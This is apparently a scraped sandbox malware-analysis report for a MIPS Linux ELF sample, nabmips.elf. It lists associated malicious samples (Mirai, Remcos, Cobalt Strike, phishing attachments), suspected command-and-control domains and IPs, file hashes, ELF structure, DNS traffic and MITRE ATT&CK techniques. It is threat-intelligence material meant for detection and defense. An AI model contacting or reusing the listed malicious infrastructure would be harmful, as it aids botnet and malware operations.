209.193.17.212	unknown	United States	7782	ALSK-7782US	false
213.254.104.28	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
32.5.237.39	unknown	United States	2686	ATGS-MMD-ASUS	false
39.47.61.72	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
9.49.95.127	unknown	United States	3356	LEVEL3US	false
140.54.247.213	unknown	United States	668	DNIC-AS-00668US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	zerarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	splarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	splmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nklspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	splx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
netfags.geek	nklarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	splmpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	nklsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	splm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	splarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.245

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	nabsh4.elf	Get hash	malicious	Unknown	Browse	107.173.108.43
	Shipping Document.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	107.172.44.175
	sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	104.168.46.26
	thinkingbestthingswhichcomingetniretimegivenmegood.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	198.46.178.192
	Payment Advice.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	198.46.178.192
	Order Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	104.168.46.26
	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	192.3.176.134
	Shipping Document.xls	Get hash	malicious	HTMLPhisher	Browse	107.172.44.175
	solicitud de cotizaci#U00f3n..09.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.168.7.19
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.95.140.216
XTGLOBALRO	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	194.26.176.109
	ppc.elf	Get hash	malicious	Mirai	Browse	193.38.245.184
	m68k.elf	Get hash	malicious	Unknown	Browse	193.38.245.160
	splmips.elf	Get hash	malicious	Unknown	Browse	45.66.237.142
	kkkarm.elf	Get hash	malicious	Unknown	Browse	77.247.117.79
	arm6.elf	Get hash	malicious	Unknown	Browse	77.247.117.72
	hPIF0APgJk.elf	Get hash	malicious	Unknown	Browse	193.38.245.189
	yakov.spc.elf	Get hash	malicious	Mirai	Browse	45.66.237.111
	IB260MBscv.elf	Get hash	malicious	Unknown	Browse	188.65.17.10
	SecuriteInfo.com.Linux.Siggen.9999.14022.17442.elf	Get hash	malicious	Mirai	Browse	77.247.117.52
ATT-INTERNET4US	nabarm5.elf	Get hash	malicious	Unknown	Browse	74.181.222.223
	nklarm5.elf	Get hash	malicious	Unknown	Browse	12.107.190.44
	splmpsl.elf	Get hash	malicious	Unknown	Browse	98.96.49.135
	splarm5.elf	Get hash	malicious	Unknown	Browse	108.247.239.66
	nklm68k.elf	Get hash	malicious	Unknown	Browse	68.77.115.207
	nklsh4.elf	Get hash	malicious	Unknown	Browse	75.61.120.100
	splsh4.elf	Get hash	malicious	Unknown	Browse	107.226.92.237
	splm68k.elf	Get hash	malicious	Unknown	Browse	108.210.78.189
	splmips.elf	Get hash	malicious	Unknown	Browse	12.169.81.81
	splarm7.elf	Get hash	malicious	Unknown	Browse	98.97.31.98

Process:	/tmp/nabmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.1823903076004387
Encrypted:	false
SSDEEP:	3:hVIRBVVtQ9FQWUT5FFNFIXVPj/VVBDB3FQWUT5FFNF3VVvT/VVdf/FVdVcv/VVdP:URjVDF+VPj/VcDFnT/VDM/V+4D/VH
MD5:	A14ED2A0521A35660995A391AA61B010
SHA1:	0192318604804943B9D555CF6DB5879920CE36CA
SHA-256:	93F59D916CB2969DF3520A487CA0EF64EA742A68E7F72A381B2891142B13F176
SHA-512:	7CE2FD61DEC78024732056F242E60F7135A2BB6543D4859FDCFAB6505A545F7A20308F7B8D85E88E2115EFFF9224AB98A46D0492C5C86458B227DEE1ADC9EB44
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.402958318297178
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmips.elf
File size:	55'560 bytes
MD5:	172ff09a66367e0dfeef820e0f3f874f
SHA1:	b721b074dc4ed21b90ef8e083f04f656e08fbc08
SHA256:	748adc4ec134fcbf8e7f2eef02ddd05db9d66d8e5bcfb5aef4899b9086ab910f
SHA512:	1351c165e47d7a4913f0e2ab97dea68130abe57a580ee94dfe483bb2671a461d31672cba800aada0646c1caba4be61985f9f05c9ceb1393b88491dc25dea786f
SSDEEP:	1536:v8ZcgCHQ2wJls+mI9Vl0A7u0ukvf0ffuhfffvMT6eepw5qT3bsRO:vv+E+mI9VmA7u0uDypqqT3b
TLSH:	7743755A2E319FDEFB7C823547B74A209748739537E0C689D26CFD055AB020DA41FBA8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@...........................D...D.....D...(........dt.Q............................<...'.Q....!'.......................<...'.Q....!... ....'9... ......................<...'.Qx...!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbbf0	0x0	0x6	AX	16
.fini	PROGBITS	0x40bd10	0xbd10	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40bd70	0xbd70	0xe90	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcc00	0xcc00	5.5237	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.2880	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 00:11:50.840249062 CET	37659	53	192.168.2.23	168.235.111.72
Nov 27, 2024 00:11:51.201495886 CET	53	37659	168.235.111.72	192.168.2.23
Nov 27, 2024 00:12:02.730540037 CET	53354	53	192.168.2.23	168.235.111.72
Nov 27, 2024 00:12:03.046278954 CET	53	53354	168.235.111.72	192.168.2.23
Nov 27, 2024 00:12:15.312592030 CET	54614	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:12:15.569710970 CET	53	54614	202.61.197.122	192.168.2.23
Nov 27, 2024 00:12:27.776314020 CET	39987	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:12:28.032073021 CET	53	39987	202.61.197.122	192.168.2.23
Nov 27, 2024 00:12:40.319578886 CET	39146	53	192.168.2.23	185.181.61.24
Nov 27, 2024 00:12:40.582079887 CET	53	39146	185.181.61.24	192.168.2.23
Nov 27, 2024 00:12:52.828567982 CET	59322	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:12:53.068762064 CET	53	59322	81.169.136.222	192.168.2.23
Nov 27, 2024 00:13:05.280963898 CET	47789	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:13:05.562309980 CET	53	47789	202.61.197.122	192.168.2.23
Nov 27, 2024 00:13:17.098970890 CET	60307	53	192.168.2.23	152.53.15.127
Nov 27, 2024 00:13:17.348413944 CET	53	60307	152.53.15.127	192.168.2.23
Nov 27, 2024 00:13:29.560942888 CET	35881	53	192.168.2.23	168.235.111.72
Nov 27, 2024 00:13:29.873811007 CET	53	35881	168.235.111.72	192.168.2.23
Nov 27, 2024 00:13:42.042169094 CET	50009	53	192.168.2.23	185.181.61.24
Nov 27, 2024 00:13:42.305104017 CET	53	50009	185.181.61.24	192.168.2.23
Nov 27, 2024 00:13:54.514296055 CET	46577	53	192.168.2.23	152.53.15.127
Nov 27, 2024 00:13:54.756711006 CET	53	46577	152.53.15.127	192.168.2.23

Start time (UTC):	23:11:40
Start date (UTC):	26/11/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0Xs8X3 (deleted)

/tmp/qemu-open.1L1vU0 (deleted)

/tmp/qemu-open.2RJpe4 (deleted)

/tmp/qemu-open.3Z9352 (deleted)

/tmp/qemu-open.45dGz3 (deleted)

/tmp/qemu-open.4SfTc3 (deleted)

/tmp/qemu-open.4uEHB4 (deleted)

/tmp/qemu-open.5Peem1 (deleted)

/tmp/qemu-open.5cMNr2 (deleted)

/tmp/qemu-open.5pu4H2 (deleted)

/tmp/qemu-open.60aAx1 (deleted)

/tmp/qemu-open.6epBy0 (deleted)

/tmp/qemu-open.6hHEK3 (deleted)

/tmp/qemu-open.6nIg23 (deleted)

/tmp/qemu-open.7m6ek4 (deleted)

/tmp/qemu-open.81RyJ4 (deleted)

/tmp/qemu-open.8kbKp1 (deleted)

/tmp/qemu-open.8pJrg3 (deleted)

/tmp/qemu-open.9TqNO0 (deleted)

/tmp/qemu-open.AOpEq4 (deleted)

/tmp/qemu-open.APAu02 (deleted)

/tmp/qemu-open.BCRcy0 (deleted)

/tmp/qemu-open.Be3h42 (deleted)

/tmp/qemu-open.DZnif1 (deleted)

/tmp/qemu-open.EFkLC3 (deleted)

/tmp/qemu-open.F031G3 (deleted)

/tmp/qemu-open.Fjyys1 (deleted)

/tmp/qemu-open.G0t5e1 (deleted)

/tmp/qemu-open.GTyWE0 (deleted)

/tmp/qemu-open.GWfEU3 (deleted)

/tmp/qemu-open.HJFGu1 (deleted)

/tmp/qemu-open.IwIJl0 (deleted)

/tmp/qemu-open.IxZTX2 (deleted)

/tmp/qemu-open.JCxGy2 (deleted)

Linux Analysis Report
nabmips.elf

Start time (UTC):	23:11:41
Start date (UTC):	26/11/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:11:48
Start date (UTC):	26/11/2024
Path:	/tmp/nabmips.elf
Arguments:	/tmp/nabmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	23:11:49
Start date (UTC):	26/11/2024
Path:	/tmp/nabmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre